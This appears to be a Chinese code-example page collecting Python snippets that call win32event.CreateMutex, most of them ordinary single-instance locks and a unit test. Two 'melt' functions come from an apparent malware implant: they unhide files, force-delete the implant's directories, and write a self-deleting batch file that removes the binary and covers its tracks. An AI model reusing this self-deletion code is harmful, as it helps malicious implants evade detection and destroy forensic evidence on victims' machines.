我们从Python开源项目中,提取了以下7个代码示例,用于说明如何使用win32event.CreateMutex()。
def __init__(self): self.mutexname = "testmutex_{D0E858DF-985E-4907-B7FB-8D732C3FC3B9}" self.mutex = CreateMutex(None, False, self.mutexname) self.lasterror = GetLastError()
def __init__(self, name): self.name = name self.handle = win32event.CreateMutex(None, 0, self.name) self.locked = False
def create_mutex(self, argv): try: from win32event import CreateMutex from win32api import GetLastError self.mutexname = "awecode_dr_" + str(argv[0]) self.mutex = CreateMutex(None, False, self.mutexname) self.lasterror = GetLastError() except ImportError: pass
def testReleaseMutex(self): mutex = win32event.CreateMutex(None, True, None) res = win32event.ReleaseMutex(mutex) self.assertEqual(res, None) res = win32event.WaitForSingleObject(mutex, 0) self.assertEqual(res, win32event.WAIT_OBJECT_0) mutex.close() self.assertRaises(pywintypes.error, win32event.ReleaseMutex, mutex)
def melt(filename): # Try and make the dreamr danger mutex to warn other implants try: mutex = win32event.CreateMutex(None, True, "dreamr-melting") except: pass countdown = 3 while countdown > 0: countdown -= 1 print("the implant will melt in %s seconds" % countdown) time.sleep(1) batchName = "mlt.bat" batch = open(batchName, "w") batch.write("@echo off\n") batch.write("ping 127.0.0.1 -n 2\n") batch.write("del dreamr.exe\n") batch.write("rd /S /Q www\n") batch.write("rd /S /Q cert\n") batch.write("del mt.exe\n") batch.write("del drm.txt\n") batch.write("del \"%s\"\n" % filename) batch.write("del \"%s\"\n" % sys.argv[0]) batch.write("start \"\" \"svchost.exe\"\n") batch.write("del \"%s\"\n" % batchName) batch.close() subprocess.Popen([batchName]) return # Check mutex to detect multilaunch
def melt(filename = BinaryLocation): # Try and make the dreamr danger mutex to warn other implants try: mutex = win32event.CreateMutex(None, True, "dreamcatchr-melting") except: pass try: things = [WebPath, BinaryLocation, DreamrLocation, sys.argv[0], KeyPath] for thing in things: unhideFile(filename) #execute("attrib", ["-R", "-A", "-S", "-H", filename], False) except: pass try: execute("rd", ["/S", "/Q", KeyPath], False) execute("rd", ["/S", "/Q", WebPath], False) except: try: execute("rd", ["/S", "/Q", WebPath], False) execute("rd", ["/S", "/Q", KeyPath], False) except: pass countdown = 3 while countdown > 0: countdown -= 1 debug("core", "the implant will melt in %s seconds" % countdown) time.sleep(1) batchName = "mlt.bat" batch = open(batchName, "w") batch.write("@echo off\n") batch.write("ping 127.0.0.1 -n 2\n") batch.write("del dreamr.exe\n") batch.write("rd /S /Q www\n") batch.write("rd /S /Q cert\n") batch.write("del \"%s\"\n" % filename) batch.write("del \"%s\"\n" % sys.argv[0]) batch.write("del \"%s\"\n" % batchName) batch.close() subprocess.Popen([batchName]) return # Update Implant